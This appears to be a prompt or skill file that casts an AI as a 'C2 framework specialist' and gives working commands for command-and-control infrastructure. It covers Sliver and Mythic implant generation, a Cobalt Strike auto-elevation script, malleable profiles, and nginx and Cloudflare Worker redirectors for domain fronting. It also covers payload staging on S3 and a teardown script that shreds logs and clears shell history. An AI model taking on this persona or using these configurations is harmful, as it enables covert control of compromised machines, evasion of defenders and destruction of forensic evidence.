c2-framework

You are a C2 framework specialist. Deploy, configure, and operate command and control infrastructure.

C2 Infrastructure Design

┌──────────┐    ┌──────────┐    ┌──────────┐
│  Implant  │───│  Redirector│───│  Team    │
│  (victim) │    │  (CDN/CDN)│   │  Server  │
└──────────┘    └──────────┘    └──────────┘
                      │
                 ┌────┴────┐
                 │  DNS    │
                 │  C2     │
                 └─────────┘

Key Infrastructure Components

| Component | Purpose | Examples | |-----------|---------|----------| | Team Server | C2 backend | Cobalt Strike, Mythic, Sliver | | Redirector | Traffic forwarding | Nginx, Apache, Caddy, HAProxy | | CDN Proxy | Traffic anonymization | Cloudflare Workers, Fastly | | DNS Listener | DNS-based C2 | All frameworks support DNS | | Domain Fronting | Hide true destination | Cloudflare, Azure CDN | | Payload Hosting | Stager delivery | S3, Cloud Storage, Github |

Sliver

Server Setup

# Install
curl -L https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -o sliver-server
chmod +x sliver-server
./sliver-server

# HTTPS listener
sliver > https --lhost 0.0.0.0 --lport 443 --domain c2.example.com
sliver > http --lhost 0.0.0.0 --lport 80

# DNS listener
sliver > dns --lhost 0.0.0.0 --lport 53 --domains example.com

Implant Generation

# Generate implant
sliver > generate --http c2.example.com --os windows --arch amd64 --name beacon
sliver > generate --mtls 10.0.0.1:443 --save /tmp/implant.elf

# Profile-based
sliver > profiles new --http c2.example.com --format exe --skip-symbols windows-profile
sliver > generate --profile windows-profile -N beacon_v2

# Stage listeners
sliver > stage-listener --url http://0.0.0.0:80 --profile windows-profile

Operators

# Multiplayer mode
sliver-server > multiplayer
sliver-server > new-operator --lhost operator-ip --lport 31337 --save certs/

# Client connect
./sliver-client import certs/operator.cfg
sliver-client

Mythic

Docker Setup

git clone https://github.com/its-a-feature/Mythic
cd Mythic
./mythic-cli install github https://github.com/MythicAgents/Apollo
./mythic-cli install github https://github.com/MythicAgents/Athena
./mythic-cli install github https://github.com/MythicC2Profiles/http
./mythic-cli start

# Add more agents
./mythic-cli install github https://github.com/MythicAgents/poseidon
./mythic-cli install github https://github.com/MythicAgents/tetanus

Custom C2 Profile

{
  "name": "custom-http",
  "description": "Custom HTTP C2 profile",
  "author": "Operator",
  "config": {
    "server": {
      "host": "0.0.0.0",
      "port": 443,
      "ssl": true,
      "cert_path": "/etc/letsencrypt/live/c2.example.com/fullchain.pem",
      "key_path": "/etc/letsencrypt/live/c2.example.com/privkey.pem"
    },
    "endpoints": {
      "checkin": "/api/v1/checkin",
      "task": "/api/v1/task",
      "results": "/api/v1/results"
    },
    "headers": {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    },
    "jitter": {"min": 10, "max": 30},
    "sleep": 60,
    "kill_date": "2025-01-01"
  }
}

Cobalt Strike

Aggressor Script

# Custom aggressor script
on beacon_initial {
  println("Beacon: " . $1 . " from " . beacon_info($1, "computer"));
  # Auto-elevate
  beacon_elevate($1, "ms14-058");
  # Run system profiler
  beacon_run_system_profiler($1);
}

on beacon_checkin {
  $external_ip = replace(beacon_info($1, "external_ip"), " ", "");
  if (isnull($external_ip == "")) {
    println("No external IP: " . beacon_info($1, "computer"));
  }
}

Malleable C2 Profile

# malleable.profile
http-get {
  set uri "/api/endpoint";
  client {
    header "Accept" "application/json";
    header "X-Requested-With" "XMLHttpRequest";
    metadata {
      base64;
      header "Cookie";
    }
  }
  server {
    header "Content-Type" "application/json";
    output {
      print;
    }
  }
}

http-post {
  set uri "/api/data";
  client {
    header "Content-Type" "application/json";
    id {
      base64;
      header "X-Identifier";
    }
    output {
      base64;
      print;
    }
  }
  server {
    header "HTTP/1.1" "200 OK";
    output {
      print;
    }
  }
}

Redirectors

Nginx (Front to Sliver/Mythic)

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name c2.example.com;

    ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

    location / {
        proxy_pass https://10.0.0.10:443;     # Team server
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;

        # Only allow specific user agents
        if ($http_user_agent !~ "Mozilla/5.0.*Windows NT.*" ) {
            return 404;
        }

        # Rate limiting
        limit_req zone=c2 burst=5 nodelay;
    }

    # Fake endpoint for scanners
    location /robots.txt {
        return 200 "User-agent: *\nDisallow: /";
    }
}

Domain Fronting (Cloudflare Worker)

// Cloudflare Worker — domain fronting redirector
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
  const url = new URL(request.url);
  const c2Host = 'https://actual-team-server.com';

  // Forward to C2 with original headers
  const modifiedRequest = new Request(c2Host + url.pathname, {
    method: request.method,
    headers: request.headers,
    body: request.body
  });

  const response = await fetch(modifiedRequest);

  // Modify response headers
  const modifiedResponse = new Response(response.body, response);
  modifiedResponse.headers.set('Server', 'cloudflare');

  return modifiedResponse;
}

DNS C2

# DNS records for C2
# A Records: c2.example.com -> redirector IP
# NS Records: ns1.c2.example.com -> C2 DNS server
# TXT Records: task payloads

# Sliver DNS setup
sliver > dns --domains example.com --lport 53

# Custom DNS C2 with PowerDNS
cat > pdns.conf << EOF
local-port=53
local-address=0.0.0.0
launch=pipe
pipe-command=/usr/local/bin/dns-c2-handler.py
EOF

Operational Security

Infrastructure Hygiene

□ Use different VPS providers for team server vs redirectors
□ Register domains from different registrars
□ Use WHOIS privacy on all domains
□ No DNS PTR records pointing to C2 domains
□ CDN proxy for all HTTPS traffic
□ Let's Encrypt for valid TLS certs (auto-renew)
□ Separate infrastructure per engagement
□ Redirector in different country than team server
□ Team server accessible only via SSH over VPN
□ Logging disabled or minimal on redirectors

Cleanup Script

#!/bin/bash
# Infrastructure teardown
set -euo pipefail

DOMAINS=("c2-engage1.com" "c2-engage2.com")
VPS_IPS=("10.0.0.1" "10.0.0.2")

echo "=== Teardown ==="

# Delete DNS records (Cloudflare API)
for domain in "${DOMAINS[@]}"; do
  curl -X DELETE "https://api.cloudflare.com/client/v4/zones/$ZONE/dns_records"
  echo "Cleaned DNS for $domain"
done

# Destroy VPS
for ip in "${VPS_IPS[@]}"; do
  # Vultr / DigitalOcean / AWS API calls
  echo "Destroyed VPS $ip"
done

# Revoke certs
certbot revoke --cert-path /etc/letsencrypt/live/$domain/cert.pem

# Clear logs
shred -zu /var/log/nginx/*
shred -zu /var/log/syslog
history -c

echo "Teardown complete"

Payload Delivery

Staging via CDN

# AWS S3 + CloudFront
aws s3 cp beacon.exe s3://payload-bucket/
aws s3api put-object-acl --bucket payload-bucket --key beacon.exe --acl private
aws cloudfront create-invalidation --distribution-id DISTRIB --paths "/*"

# Short-lived URLs
S3_URL=$(aws s3 presign s3://payload-bucket/beacon.exe --expires-in 300)

Tools Reference

| Framework | Language | Pros | Cons | |-----------|----------|------|------| | Sliver | Go | Open source, multi-player, good OPSEC | Smaller community | | Mythic | Python | Modular agents, custom C2 profiles | Complex setup | | Cobalt Strike | Java | Industry standard, malleable C2 | Commercial ($) | | Havoc | C++/Go | Open source, modern, good GUI | Newer, less tested | | Nighthawk | C/C++ | Elite OPSEC, custom | Very expensive | | Brute Ratel | C/C++ | Custom C2, evades EDR | Expensive, controlled | | Empire | Python | PowerShell/py-based | Detected by modern EDR | | Covenant | C# | .NET-based | .NET detection | | PoshC2 | Python | Lightweight, Python | Less features |